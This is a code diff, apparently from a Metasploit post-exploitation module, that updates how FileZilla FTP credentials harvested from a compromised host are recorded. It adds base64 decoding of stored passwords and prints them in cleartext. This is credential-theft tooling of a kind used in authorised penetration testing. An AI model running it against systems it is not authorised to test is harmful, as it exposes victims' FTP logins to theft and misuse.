@@ -103,6 +103,43 @@ def check_filezilla(filezilladir)
103
103
return nil
104
104
end
105
105
106
+
107
+ def report_cred ( opts )
108
+ service_data = {
109
+ address : opts [ :ip ] ,
110
+ port : opts [ :port ] ,
111
+ service_name : opts [ :service_name ] ,
112
+ protocol : 'tcp' ,
113
+ workspace_id : myworkspace_id
114
+ }
115
+
116
+ credential_data = {
117
+ post_reference_name : self . refname ,
118
+ session_id : session_db_id ,
119
+ origin_type : :session ,
120
+ private_data : opts [ :password ] ,
121
+ private_type : :password ,
122
+ username : opts [ :user ]
123
+ } . merge ( service_data )
124
+
125
+ login_data = {
126
+ core : create_credential ( credential_data ) ,
127
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
128
+ } . merge ( service_data )
129
+
130
+ create_credential_login ( login_data )
131
+ end
132
+
133
+ def is_base64? ( str )
134
+ str . match ( /^([A-Za-z0-9+\/ ]{4})*([A-Za-z0-9+\/ ]{4}|[A-Za-z0-9+\/ ]{3}=|[A-Za-z0-9+\/ ]{2}==)$/ ) ? true : false
135
+ end
136
+
137
+
138
+ def try_decode_password ( str )
139
+ is_base64? ( str ) ? Rex ::Text . decode_base64 ( str ) : str
140
+ end
141
+
142
+
106
143
def get_filezilla_creds ( paths )
107
144
108
145
sitedata = ""
@@ -155,14 +192,14 @@ def get_filezilla_creds(paths)
155
192
else
156
193
source_id = nil
157
194
end
158
- report_auth_info (
159
- :host => loot [ 'host' ] ,
160
- :port => loot [ 'port ' ] ,
161
- :sname => 'ftp' ,
162
- :source_id => source_id ,
163
- :source_type => "exploit" ,
164
- :user => loot [ 'user' ] ,
165
- :pass => loot [ 'password' ] )
195
+
196
+ report_cred (
197
+ ip : loot [ 'host ' ] ,
198
+ port : loot [ 'port' ] ,
199
+ service_name : 'ftp' ,
200
+ username : loot [ 'user' ] ,
201
+ password : try_decode_password ( loot [ 'password' ] )
202
+ )
166
203
end
167
204
end
168
205
end
@@ -214,7 +251,7 @@ def parse_accounts(data)
214
251
print_status ( " Server: %s:%s" % [ account [ 'host' ] , account [ 'port' ] ] )
215
252
print_status ( " Protocol: %s" % account [ 'protocol' ] )
216
253
print_status ( " Username: %s" % account [ 'user' ] )
217
- print_status ( " Password: %s" % account [ 'password' ] )
254
+ print_status ( " Password: %s" % try_decode_password ( account [ 'password' ] ) )
218
255
print_line ( "" )
219
256
end
220
257
return creds
0 commit comments